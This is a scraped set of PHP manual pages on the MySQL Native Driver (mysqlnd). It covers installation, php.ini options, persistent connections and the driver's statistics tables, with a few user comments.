5.3.0 | The MySQL Native Driver was added, with support for all MySQL extensions (i.e., mysql, mysqli and PDO_MYSQL). Passing in mysqlnd to the appropriate configure switch enables this support.
5.4.0 | The MySQL Native Driver is now the default for all MySQL extensions (i.e., mysql, mysqli and PDO_MYSQL). Passing in mysqlnd to configure is now optional.

Installation on Unix

The MySQL database extensions must be configured to use the MySQL Client Library. In order to use the MySQL Native Driver, PHP needs to be built specifying that the MySQL database extensions are compiled with MySQL Native Driver support. This is done through configuration options prior to building the PHP source code.

For example, to build the MySQL extension, mysqli and PDO MYSQL using the MySQL Native Driver, the following command would be given:

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
[other options]

Installation on Windows

In the official PHP Windows distributions from 5.3 onwards, MySQL Native Driver is enabled by default, so no additional configuration is required to use it. All MySQL database extensions will use MySQL Native Driver in this case.

User Contributed Notes

jose dot nobile at gmail dot com 20-Oct-2010 10:15
On CentOS 5.4, installing php 5.3.3, is without mysqlnd

But is available mysql, mysqli, pdo_mysql
Overview
Runtime Configuration
Mysqlnd


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MySQL Native Driver Configuration Options
Name | Default | Changeable | Changelog
mysqlnd.collect_statistics | "1" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.collect_memory_statistics | "0" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.debug | "0" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.net_read_timeout | "31536000" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.net_cmd_buffer_size | 5.3.0 - "2048", 5.3.1 - "4096" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.net_read_buffer_size | "32768" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mysqlnd.collect_statistics boolean

Enables the collection of various client statistics which can be
accessed through mysqli_get_client_stats(),
mysqli_get_connection_stats(),
mysqli_get_cache_stats() and are shown in
mysqlnd section of the output of the
phpinfo() function as well.

This configuration setting enables all MySQL Native Driver statistics except those relating to memory management.

mysqlnd.collect_memory_statistics boolean

Enable the collection of various memory statistics which can be
accessed through mysqli_get_client_stats(),
mysqli_get_connection_stats(),
mysqli_get_cache_stats() and are shown in
mysqlnd section of the output of the
phpinfo() function as well.

This configuration setting enables the memory management statistics within the overall set of MySQL Native Driver statistics.

mysqlnd.debug string

Records communication from all extensions using mysqlnd to the specified log file.

The format of the directive is mysqlnd.debug = "option1[,parameter_option1][:option2[,parameter_option2]]".

The options for the format string are as follows:

  • A[,file] - Appends trace output to specified file. Also ensures that data is written after each write. This is done by closing and reopening the trace file (this is slow). It helps ensure a complete log file should the application crash.

  • a[,file] - Appends trace output to the specified file.

  • d - Enables output from DBUG_<N> macros for the current state. May be followed by a list of keywords which selects output only for the DBUG macros with that keyword. An empty list of keywords implies output for all macros.

  • f[,functions] - Limits debugger actions to the specified list of functions. An empty list of functions implies that all functions are selected.

  • F - Marks each debugger output line with the name of the source file containing the macro causing the output.

  • i - Marks each debugger output line with the PID of the current process.

  • L - Marks each debugger output line with the name of the source file line number of the macro causing the output.

  • n - Marks each debugger output line with the current function nesting depth

  • o[,file] - Similar to a[,file] but overwrites old file, and does not append.

  • O[,file] - Similar to A[,file] but overwrites old file, and does not append.

  • t[,N] - Enables function control flow tracing. The maximum nesting depth is specified by N, and defaults to 200.

  • x - This option activates profiling.

Example:

d:t:x:O,/tmp/mysqlnd.trace

Note:

This feature is only available with a debug build of PHP. Works on Microsoft Windows if using a debug build of PHP and PHP was built using Microsoft Visual C version 9 and above.

mysqlnd.net_read_timeout integer

mysqlnd and the MySQL Client Library, libmysql use different networking APIs. mysqlnd uses PHP streams, whereas libmysql uses its own wrapper around the operating level network calls. PHP, by default, sets a read timeout of 60s for streams. This is set via php.ini, default_socket_timeout. This default applies to all streams that set no other timeout value. mysqlnd does not set any other value and therefore connections of long running queries can be disconnected after default_socket_timeout seconds resulting in an error message "2006 - MySQL Server has gone away". The MySQL Client Library sets a default timeout of 365 * 24 * 3600 seconds (1 year) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout. The value is configurable through a new php.ini setting: mysqlnd.net_read_timeout. mysqlnd.net_read_timeout gets used by any extension (ext/mysql, ext/mysqli, PDO_MySQL) that uses mysqlnd. mysqlnd tells PHP Streams to use mysqlnd.net_read_timeout. Please note that there may be subtle differences between MYSQL_OPT_READ_TIMEOUT from the MySQL Client Library and PHP Streams, for example MYSQL_OPT_READ_TIMEOUT is documented to work only for TCP/IP connections and, prior to MySQL 5.1.2, only for Windows. PHP streams may not have this limitation. Please check the streams documentation, if in doubt.

mysqlnd.net_cmd_buffer_size long

mysqlnd allocates an internal command/network buffer of mysqlnd.net_cmd_buffer_size (in php.ini) bytes for every connection. If a MySQL Client Server protocol command, for example, COM_QUERY ("normal" query), does not fit into the buffer, mysqlnd will grow the buffer to the size required for sending the command. Whenever the buffer gets extended for one connection, command_buffer_too_small will be incremented by one.

If mysqlnd has to grow the buffer beyond its initial size of mysqlnd.net_cmd_buffer_size bytes for almost every connection, you should consider increasing the default size to avoid re-allocations.

The default buffer size is 2048 bytes in PHP 5.3.0. In later versions the default is 4096 bytes. The default can changed either through the php.ini setting mysqlnd.net_cmd_buffer_size or using mysqli_options(MYSQLI_OPT_NET_CMD_BUFFER_SIZE, int size).

It is recommended that the buffer size be set to no less than 4096 bytes because mysqlnd also uses it when reading certain communication packet from MySQL. In PHP 5.3.0, mysqlnd will not grow the buffer if MySQL sends a packet that is larger than the current size of the buffer. As a consequence, mysqlnd is unable to decode the packet and the client application will get an error. There are only two situations when the packet can be larger than the 2048 bytes default of mysqlnd.net_cmd_buffer_size in PHP 5.3.0: the packet transports a very long error message, or the packet holds column meta data from COM_LIST_FIELD (mysql_list_fields() and the meta data come from a string column with a very long default value (>1900 bytes).

As of PHP 5.3.2 mysqlnd does not allow setting buffers smaller than 4096 bytes.

The value can also be set using mysqli_option(link, MYSQLI_OPT_NET_CMD_BUFFER_SIZE, size).

mysqlnd.net_read_buffer_size long

Maximum read chunk size in bytes when reading the body of a MySQL command packet. The MySQL client server protocol encapsulates all its commands in packets. The packets consist of a small header and a body with the actual payload. The size of the body is encoded in the header. mysqlnd reads the body in chunks of MIN(header.size, mysqlnd.net_read_buffer_size) bytes. If a packet body is larger than mysqlnd.net_read_buffer_size bytes, mysqlnd has to call read() multiple times.

The value can also be set using mysqli_optionS(link, MYSQLI_OPT_NET_READ_BUFFER_SIZE, size).

User Contributed Notes

There are no user contributed notes for this page.
Installation
Persistent Connections
Mysqlnd


Persistent Connections

Using Persistent Connections

If mysqli is used with mysqlnd, when a persistent connection is created it generates a COM_CHANGE_USER (mysql_change_user()) call on the server. This ensures that re-authentication of the connection takes place.

As there is some overhead associated with the COM_CHANGE_USER call, it is possible to switch this off at compile time. Reusing a persistent connection will then generate a COM_PING (mysql_ping) call to simply test the connection is reusable.

Generation of COM_CHANGE_USER can be switched off with the compile flag MYSQLI_NO_CHANGE_USER_ON_PCONNECT. For example:

shell# CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT" ./configure --with-mysql=/usr/local/mysql/ --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql/bin/mysql_config --enable-debug && make clean && make -j6

Or alternatively:

shell# export CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT"
shell# configure --whatever-option
shell# make clean
shell# make

Note that only mysqli on mysqlnd uses COM_CHANGE_USER. Other extension-driver combinations use COM_PING on initial use of a persistent connection.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Statistics
Mysqlnd


Statistics

Using Statistical Data

MySQL Native Driver contains support for gathering statistics on the communication between the client and the server. The statistics gathered are of three main types:

  • Client statistics

  • Connection statistics

  • Zval cache statistics

If you are using the mysqli extension, these statistics can be obtained through three API calls:

  • mysqli_get_client_stats()

  • mysqli_get_connection_stats()

  • mysqli_get_cache_stats()

Note:

Statistics are aggregated among all extensions that use MySQL Native Driver. For example, when compiling both ext/mysql and ext/mysqli against MySQL Native Driver, both function calls of ext/mysql and ext/mysqli will change the statistics. There is no way to find out how much a certain API call of any extension that has been compiled against MySQL Native Driver has impacted a certain statistic. You can configure the PDO MySQL Driver, ext/mysql and ext/mysqli to optionally use the MySQL Native Driver. When doing so, all three extensions will change the statistics.

Accessing Client Statistics

To access client statistics, you need to call mysqli_get_client_stats(). The function call does not require any parameters.

The function returns an associative array that contains the name of the statistic as the key and the statistical data as the value.

Client statistics can also be accessed by calling the phpinfo() function.

Accessing Connection Statistics

To access connection statistics call mysqli_get_connection_stats(). This takes the database connection handle as the parameter.

The function returns an associative array that contains the name of the statistic as the key and the statistical data as the value.

Accessing Zval Cache Statistics

The MySQL Native Driver also collects statistics from its internal Zval cache. These statistics can be accessed by calling mysqli_get_cache_stats().

The Zval cache statistics obtained may lead to a tweaking of php.ini settings related to the Zval cache, resulting in better performance.

Buffered and Unbuffered Result Sets

Result sets can be buffered or unbuffered. Using default settings, ext/mysql and ext/mysqli work with buffered result sets for normal (non prepared statement) queries. Buffered result sets are cached on the client. After the query execution all results are fetched from the MySQL Server and stored in a cache on the client. The big advantage of buffered result sets is that they allow the server to free all resources allocated to a result set, once the results have been fetched by the client.

Unbuffered result sets on the other hand are kept much longer on the server. If you want to reduce memory consumption on the client, but increase load on the server, use unbuffered results. If you experience a high server load and the figures for unbuffered result sets are high, you should consider moving the load to the clients. Clients typically scale better than servers. "Load" does not only refer to memory buffers - the server also needs to keep other resources open, for example file handles and threads, before a result set can be freed.

Prepared Statements use unbuffered result sets by default. However, you can use mysqli_stmt_store_result() to enable buffered result sets.

Statistics returned by MySQL Native Driver

The following tables show a list of statistics returned by the
mysqli_get_client_stats(),
mysqli_get_connection_stats() and
mysqli_get_cache_stats() functions.

Network

Statistic | Scope | Description | Notes
bytes_sent | Connection | Number of bytes sent from PHP to the MySQL server | Can be used to check the efficiency of the compression protocol
bytes_received | Connection | Number of bytes received from MySQL server | Can be used to check the efficiency of the compression protocol
packets_sent | Connection | Number of MySQL Client Server protocol packets sent | Used for debugging Client Server protocol implementation
packets_received | Connection | Number of MySQL Client Server protocol packets received | Used for debugging Client Server protocol implementation
protocol_overhead_in | Connection | MySQL Client Server protocol overhead in bytes for incoming traffic. Currently only the Packet Header (4 bytes) is considered as overhead. protocol_overhead_in = packets_received * 4 | Used for debugging Client Server protocol implementation
protocol_overhead_out | Connection | MySQL Client Server protocol overhead in bytes for outgoing traffic. Currently only the Packet Header (4 bytes) is considered as overhead. protocol_overhead_out = packets_sent * 4 | Used for debugging Client Server protocol implementation
bytes_received_ok_packet | Connection | Total size of bytes of MySQL Client Server protocol OK packets received. OK packets can contain a status message. The length of the status message can vary and thus the size of an OK packet is not fixed. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_ok | Connection | Number of MySQL Client Server protocol OK packets received. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_eof_packet | Connection | Total size in bytes of MySQL Client Server protocol EOF packets received. EOF can vary in size depending on the server version. Also, EOF can transport an error message. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_eof | Connection | Number of MySQL Client Server protocol EOF packets. Like with other packet statistics the number of packets will be increased even if PHP does not receive the expected packet but, for example, an error message. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_header_packet | Connection | Total size in bytes of MySQL Client Server protocol result set header packets. The size of the packets varies depending on the payload (LOAD LOCAL INFILE, INSERT, UPDATE, SELECT, error message). | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_header | Connection | Number of MySQL Client Server protocol result set header packets. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_field_meta_packet | Connection | Total size in bytes of MySQL Client Server protocol result set meta data (field information) packets. Of course the size varies with the fields in the result set. The packet may also transport an error or an EOF packet in case of COM_LIST_FIELDS. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_field_meta | Connection | Number of MySQL Client Server protocol result set meta data (field information) packets. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_row_packet | Connection | Total size in bytes of MySQL Client Server protocol result set row data packets. The packet may also transport an error or an EOF packet. You can reverse engineer the number of error and EOF packets by substracting rows_fetched_from_server_normal and rows_fetched_from_server_ps from bytes_received_rset_row_packet. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_row | Connection | Number of MySQL Client Server protocol result set row data packets and their total size in bytes. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_prepare_response_packet | Connection | Total size in bytes of MySQL Client Server protocol OK for Prepared Statement Initialization packets (prepared statement init packets). The packet may also transport an error. The packet size depends on the MySQL version: 9 bytes with MySQL 4.1 and 12 bytes from MySQL 5.0 on. There is no safe way to know how many errors happened. You may be able to guess that an error has occurred if, for example, you always connect to MySQL 5.0 or newer and, bytes_received_prepare_response_packet != packets_received_prepare_response * 12. See also ps_prepared_never_executed, ps_prepared_once_executed. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_prepare_response | Connection | Number of MySQL Client Server protocol OK for Prepared Statement Initialization packets (prepared statement init packets). | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_change_user_packet | Connection | Total size in bytes of MySQL Client Server protocol COM_CHANGE_USER packets. The packet may also transport an error or EOF. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_change_user | Connection | Number of MySQL Client Server protocol COM_CHANGE_USER packets | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_sent_command | Connection | Number of MySQL Client Server protocol commands sent from PHP to MySQL. There is no way to know which specific commands and how many of them have been sent. At its best you can use it to check if PHP has sent any commands to MySQL to know if you can consider to disable MySQL support in your PHP binary. There is also no way to reverse engineer the number of errors that may have occurred while sending data to MySQL. The only error recoded is command_buffer_too_small (see below). | Only useful for debugging CS protocol implementation.
bytes_received_real_data_normal Connection Number of bytes of payload fetched by the PHP client from mysqlnd using the text protocol. This is the size of the actual data contained in result sets that do not originate from prepared statements and which have been fetched by the PHP client. Note that although a full result set may have been pulled from MySQL by mysqlnd, this statistic only counts actual data pulled from mysqlnd by the PHP client. An example of a code sequence that will increase the value is as follows:
$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->fetch_assoc();
$res->close();

Every fetch operation will increase the value.

The statistic will not be increased if the result set is only buffered on the client, but not fetched, such as in the following example:

$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->close();

This statistic is available as of PHP version 5.3.4.

bytes_received_real_data_ps | Connection | Number of bytes of the payload fetched by the PHP client from mysqlnd using the prepared statement protocol. | This is the size of the actual data contained in result sets that originate from prepared statements and which has been fetched by the PHP client. The value will not be increased if the result set is not subsequently read by the PHP client. Note that although a full result set may have been pulled from MySQL by mysqlnd, this statistic only counts actual data pulled from mysqlnd by the PHP client. See also bytes_received_real_data_normal. This statistic is available as of PHP version 5.3.4.

Result Set

Statistic | Scope | Description | Notes
result_set_queries | Connection | Number of queries that have generated a result set. Examples of queries that generate a result set: SELECT, SHOW. The statistic will not be incremented if there is an error reading the result set header packet from the line. | You may use it as an indirect measure for the number of queries PHP has sent to MySQL, for example, to identify a client that causes a high database load.
non_result_set_queries | Connection | Number of queries that did not generate a result set. Examples of queries that do not generate a result set: INSERT, UPDATE, LOAD DATA, SHOW. The statistic will not be incremented if there is an error reading the result set header packet from the line. | You may use it as an indirect measure for the number of queries PHP has sent to MySQL, for example, to identify a client that causes a high database load.
no_index_used | Connection | Number of queries that have generated a result set but did not use an index (see also mysqld start option –log-queries-not-using-indexes). If you want these queries to be reported you can use mysqli_report(MYSQLI_REPORT_INDEX) to make ext/mysqli throw an exception. If you prefer a warning instead of an exception use mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT).
bad_index_used | Connection | Number of queries that have generated a result set and did not use a good index (see also mysqld start option –log-slow-queries). | If you want these queries to be reported you can use mysqli_report(MYSQLI_REPORT_INDEX) to make ext/mysqli throw an exception. If you prefer a warning instead of an exception use mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT)
slow_queries | Connection | SQL statements that took more than long_query_time seconds to execute and required at least min_examined_row_limit rows to be examined. | Not reported through mysqli_report()
buffered_sets | Connection | Number of buffered result sets returned by "normal" queries. "Normal" means "not prepared statement" in the following notes. | Examples of API calls that will buffer result sets on the client: mysql_query(), mysqli_query(), mysqli_store_result(), mysqli_stmt_get_result(). Buffering result sets on the client ensures that server resources are freed as soon as possible and it makes result set scrolling easier. The downside is the additional memory consumption on the client for buffering data. Note that mysqlnd (unlike the MySQL Client Library) respects the PHP memory limit because it uses PHP internal memory management functions to allocate memory. This is also the reason why memory_get_usage() reports a higer memory consumption when using mysqlnd instead of the MySQL Client Library. memory_get_usage() does not measure the memory consumption of the MySQL Client Library at all because the MySQL Client Library does not use PHP internal memory management functions monitored by the function!
unbuffered_sets | Connection | Number of unbuffered result sets returned by normal (non prepared statement) queries. | Examples of API calls that will not buffer result sets on the client: mysqli_use_result()
ps_buffered_sets | Connection | Number of buffered result sets returned by prepared statements. By default prepared statements are unbuffered. | Examples of API calls that will not buffer result sets on the client: mysqli_stmt_store_result
ps_unbuffered_sets | Connection | Number of unbuffered result sets returned by prepared statements. | By default prepared statements are unbuffered.
flushed_normal_sets Connection Number of result sets from normal (non prepared statement) queries with unread data which have been flushed silently for you. Flushing happens only with unbuffered result sets. Unbuffered result sets must be fetched completely before a new query can be run on the connection otherwise MySQL will throw an error. If the application does not fetch all rows from an unbuffered result set, mysqlnd does implicitly fetch the result set to clear the line. See also rows_skipped_normal, rows_skipped_ps. Some possible causes for an implicit flush:

  • Faulty client application

  • Client stopped reading after it found what it was looking for but has made MySQL calculate more records than needed

  • Client application has stopped unexpectedly

flushed_ps_sets Connection Number of result sets from prepared statements with unread data which have been flushed silently for you. Flushing happens only with unbuffered result sets. Unbuffered result sets must be fetched completely before a new query can be run on the connection otherwise MySQL will throw an error. If the application does not fetch all rows from an unbuffered result set, mysqlnd does implicitly fetch the result set to clear the line. See also rows_skipped_normal, rows_skipped_ps. Some possible causes for an implicit flush:

  • Faulty client application

  • Client stopped reading after it found what it was looking for but has made MySQL calculate more records than needed

  • Client application has stopped unexpectedly

ps_prepared_never_executed | Connection | Number of statements prepared but never executed. | Prepared statements occupy server resources. You should not prepare a statement if you do not plan to execute it.
ps_prepared_once_executed | Connection | Number of prepared statements executed only one. | One of the ideas behind prepared statements is that the same query gets executed over and over again (with different parameters) and some parsing and other preparation work can be saved, if statement execution is split up in separate prepare and execute stages. The idea is to prepare once and "cache" results, for example, the parse tree to be reused during multiple statement executions. If you execute a prepared statement only once the two stage processing can be inefficient compared to "normal" queries because all the caching means extra work and it takes (limited) server resources to hold the cached information. Consequently, prepared statements that are executed only once may cause performance hurts.
rows_fetched_from_server_normal, rows_fetched_from_server_ps | Connection | Total number of result set rows successfully fetched from MySQL regardless if the client application has consumed them or not. Some of the rows may not have been fetched by the client application but have been flushed implicitly. | See also packets_received_rset_row
rows_buffered_from_client_normal, rows_buffered_from_client_ps | Connection | Total number of succesfully buffered rows originating from a "normal" query or a prepared statement. This is the number of rows that have been fetched from MySQL and buffered on client. Note that there are two distinct statistics on rows that have been buffered (MySQL to mysqlnd internal buffer) and buffered rows that have been fetched by the client application (mysqlnd internal buffer to client application). If the number of buffered rows is higher than the number of fetched buffered rows it can mean that the client application runs queries that cause larger result sets than needed resulting in rows not read by the client. | Examples of queries that will buffer results: mysqli_query(), mysqli_store_result()
rows_fetched_from_client_normal_buffered, rows_fetched_from_client_ps_buffered | Connection | Total number of rows fetched by the client from a buffered result set created by a normal query or a prepared statement.
rows_fetched_from_client_normal_unbuffered, rows_fetched_from_client_ps_unbuffered | Connection | Total number of rows fetched by the client from a unbuffered result set created by a "normal" query or a prepared statement.
rows_fetched_from_client_ps_cursor | Connection | Total number of rows fetch by the client from a cursor created by a prepared statement.
rows_skipped_normal, rows_skipped_ps | Connection | Reserved for future use (currently not supported)
copy_on_write_saved, copy_on_write_performed | Process | With mysqlnd, variables returned by the extensions point into mysqlnd internal network result buffers. If you do not change the variables, fetched data will be kept only once in memory. If you change the variables, mysqlnd has to perform a copy-on-write to protect the internal network result buffers from being changed. With the MySQL Client Library you always hold fetched data twice in memory. Once in the internal MySQL Client Library buffers and once in the variables returned by the extensions. In theory mysqlnd can save up to 40% memory. However, note that the memory saving cannot be measured using memory_get_usage().
explicit_free_result, implicit_free_result | Connection, Process (only during prepared statement cleanup) | Total number of freed result sets. | The free is always considered explicit but for result sets created by an init command, for example, mysqli_options(MYSQLI_INIT_COMMAND , ...)
proto_text_fetched_null, proto_text_fetched_bit, proto_text_fetched_tinyint proto_text_fetched_short, proto_text_fetched_int24, proto_text_fetched_int proto_text_fetched_bigint, proto_text_fetched_decimal, proto_text_fetched_float proto_text_fetched_double, proto_text_fetched_date, proto_text_fetched_year proto_text_fetched_time, proto_text_fetched_datetime, proto_text_fetched_timestamp proto_text_fetched_string, proto_text_fetched_blob, proto_text_fetched_enum proto_text_fetched_set, proto_text_fetched_geometry, proto_text_fetched_other Connection Total number of columns of a certain type fetched from a normal query (MySQL text protocol). Mapping from C API / MySQL meta data type to statistics name:

  • MYSQL_TYPE_NULL - proto_text_fetched_null

  • MYSQL_TYPE_BIT - proto_text_fetched_bit

  • MYSQL_TYPE_TINY - proto_text_fetched_tinyint

  • MYSQL_TYPE_SHORT - proto_text_fetched_short

  • MYSQL_TYPE_INT24 - proto_text_fetched_int24

  • MYSQL_TYPE_LONG - proto_text_fetched_int

  • MYSQL_TYPE_LONGLONG - proto_text_fetched_bigint

  • MYSQL_TYPE_DECIMAL, MYSQL_TYPE_NEWDECIMAL - proto_text_fetched_decimal

  • MYSQL_TYPE_FLOAT - proto_text_fetched_float

  • MYSQL_TYPE_DOUBLE - proto_text_fetched_double

  • MYSQL_TYPE_DATE, MYSQL_TYPE_NEWDATE - proto_text_fetched_date

  • MYSQL_TYPE_YEAR - proto_text_fetched_year

  • MYSQL_TYPE_TIME - proto_text_fetched_time

  • MYSQL_TYPE_DATETIME - proto_text_fetched_datetime

  • MYSQL_TYPE_TIMESTAMP - proto_text_fetched_timestamp

  • MYSQL_TYPE_STRING, MYSQL_TYPE_VARSTRING, MYSQL_TYPE_VARCHAR - proto_text_fetched_string

  • MYSQL_TYPE_TINY_BLOB, MYSQL_TYPE_MEDIUM_BLOB, MYSQL_TYPE_LONG_BLOB, MYSQL_TYPE_BLOB - proto_text_fetched_blob

  • MYSQL_TYPE_ENUM - proto_text_fetched_enum

  • MYSQL_TYPE_SET - proto_text_fetched_set

  • MYSQL_TYPE_GEOMETRY - proto_text_fetched_geometry

  • Any MYSQL_TYPE_* not listed before (there should be none) - proto_text_fetched_other

Note that the MYSQL_*-type constants may not be associated with the very same SQL column types in every version of MySQL.

proto_binary_fetched_null, proto_binary_fetched_bit, proto_binary_fetched_tinyint proto_binary_fetched_short, proto_binary_fetched_int24, proto_binary_fetched_int, proto_binary_fetched_bigint, proto_binary_fetched_decimal, proto_binary_fetched_float, proto_binary_fetched_double, proto_binary_fetched_date, proto_binary_fetched_year, proto_binary_fetched_time, proto_binary_fetched_datetime, proto_binary_fetched_timestamp, proto_binary_fetched_string, proto_binary_fetched_blob, proto_binary_fetched_enum, proto_binary_fetched_set, proto_binary_fetched_geometry, proto_binary_fetched_other | Connection | Total number of columns of a certain type fetched from a prepared statement (MySQL binary protocol). | For type mapping see proto_text_* described in the preceding text.

Connection

Statistic | Scope | Description | Notes
connect_success, connect_failure | Connection | Total number of successful / failed connection attempt. | Reused connections and all other kinds of connections are included.
reconnect | Process | Total number of (real_)connect attempts made on an already opened connection handle. | The code sequence $link = new mysqli(...); $link->real_connect(...) will cause a reconnect. But $link = new mysqli(...); $link->connect(...) will not because $link->connect(...) will explicitly close the existing connection before a new connection is established.
pconnect_success | Connection | Total number of successful persistent connection attempts. | Note that connect_success holds the sum of successful persistent and non-persistent connection attempts. The number of successful non-persistent connection attempts is connect_success - pconnect_success.
active_connections | Connection | Total number of active persistent and non-persistent connections.
active_persistent_connections | Connection | Total number of active persistent connections. | The total number of active non-persistent connections is active_connections - active_persistent_connections.
explicit_close Connection Total number of explicitly closed connections (ext/mysqli only). Examples of code snippets that cause an explicit close :
$link = new mysqli(...); $link->close(...)
$link = new mysqli(...); $link->connect(...)
implicit_close Connection Total number of implicitly closed connections (ext/mysqli only). Examples of code snippets that cause an implicit close :

  • $link = new mysqli(...); $link->real_connect(...)

  • unset($link)

  • Persistent connection: pooled connection has been created with real_connect and there may be unknown options set - close implicitly to avoid returning a connection with unknown options

  • Persistent connection: ping/change_user fails and ext/mysqli closes the connection

  • end of script execution: close connections that have not been closed by the user

disconnect_close | Connection | Connection failures indicated by the C API call mysql_real_connect() during an attempt to establish a connection. | It is called disconnect_close because the connection handle passed to the C API call will be closed.
in_middle_of_command_close | Process | A connection has been closed in the middle of a command execution (outstanding result sets not fetched, after sending a query and before retrieving an answer, while fetching data, while transferring data with LOAD DATA). | Unless you use asynchronous queries this should only happen if your script stops unexpectedly and PHP shuts down the connections for you.
init_command_executed_count | Connection | Total number of init command executions, for example, mysqli_options(MYSQLI_INIT_COMMAND , ...). | The number of successful executions is init_command_executed_count - init_command_failed_count.
init_command_failed_count | Connection | Total number of failed init commands.

COM_* Commands

Statistic Scope Description Notes
com_quit, com_init_db, com_query, com_field_list, com_create_db, com_drop_db, com_refresh, com_shutdown, com_statistics, com_process_info, com_connect, com_process_kill, com_debug, com_ping, com_time, com_delayed_insert, com_change_user, com_binlog_dump, com_table_dump, com_connect_out, com_register_slave, com_stmt_prepare, com_stmt_execute, com_stmt_send_long_data, com_stmt_close, com_stmt_reset, com_stmt_set_option, com_stmt_fetch, com_daemon Connection Total number of attempts to send a certain COM_* command from PHP to MySQL.

The statistics are incremented after checking the line and immediately before sending the corresponding MySQL client server protocol packet. If mysqlnd fails to send the packet over the wire the statistics will not be decremented. In case of a failure mysqlnd emits a PHP warning "Error while sending %s packet. PID=%d."

Usage examples:

  • Check if PHP sends certain commands to MySQL, for example, check if a client sends COM_PROCESS_KILL

  • Calculate the average number of prepared statement executions by comparing COM_EXECUTE with COM_PREPARE

  • Check if PHP has run any non-prepared SQL statements by checking if COM_QUERY is zero

  • Identify PHP scripts that run an excessive number of SQL statements by checking COM_QUERY and COM_EXECUTE

Miscellaneous

Statistic | Scope | Description | Notes
explicit_stmt_close, implicit_stmt_close | Process | Total number of close prepared statements. | A close is always considered explicit but for a failed prepare.
mem_emalloc_count, mem_emalloc_ammount, mem_ecalloc_count, mem_ecalloc_ammount, mem_erealloc_count, mem_erealloc_ammount, mem_efree_count, mem_malloc_count, mem_malloc_ammount, mem_calloc_count, mem_calloc_ammount, mem_realloc_count, mem_realloc_ammount, mem_free_count | Process | Memory management calls. | Development only.
command_buffer_too_small Connection Number of network command buffer extensions while sending commands from PHP to MySQL.

mysqlnd allocates an internal command/network buffer of mysqlnd.net_cmd_buffer_size (php.ini) bytes for every connection. If a MySQL Client Server protocol command, for example, COM_QUERY (normal query), does not fit into the buffer, mysqlnd will grow the buffer to what is needed for sending the command. Whenever the buffer gets extended for one connection command_buffer_too_small will be incremented by one.

If mysqlnd has to grow the buffer beyond its initial size of mysqlnd.net_cmd_buffer_size (php.ini) bytes for almost every connection, you should consider to increase the default size to avoid re-allocations.

The default buffer size is 2048 bytes in PHP 5.3.0. In future versions the default will be 4kB or larger. The default can changed either through the php.ini setting mysqlnd.net_cmd_buffer_size or using mysqli_options(MYSQLI_OPT_NET_CMD_BUFFER_SIZE, int size).

It is recommended to set the buffer size to no less than 4096 bytes because mysqlnd also uses it when reading certain communication packet from MySQL. In PHP 5.3.0, mysqlnd will not grow the buffer if MySQL sends a packet that is larger than the current size of the buffer. As a consequence mysqlnd is unable to decode the packet and the client application will get an error. There are only two situations when the packet can be larger than the 2048 bytes default of mysqlnd.net_cmd_buffer_size in PHP 5.3.0: the packet transports a very long error message or the packet holds column meta data from COM_LIST_FIELD (mysql_list_fields()) and the meta data comes from a string column with a very long default value (>1900 bytes). No bug report on this exists - it should happen rarely.

As of PHP 5.3.2 mysqlnd does not allow setting buffers smaller than 4096 bytes.

connection_reused

User Contributed Notes

There are no user contributed notes for this page.
Persistent Connections
Notes
Mysqlnd


Notes

This section provides a collection of miscellaneous notes on MySQL Native Driver usage.

  • Using mysqlnd means using PHP streams for underlying connectivity. For mysqlnd, the PHP streams documentation (Streams) should be consulted on such details as timeout settings, not the documentation for the MySQL Client Library.

User Contributed Notes

Les Brown 23-Feb-2010 11:04
After upgrading from php 5.2 to php 5.3 on Windows, I was unable to connect to MySQL databases on localhost. I eventually tracked the problem down to entries in my hosts file:
It contained:
127.0.0.1       localhost
[...]
::1             localhost
Commenting out the second line fixed the problem.

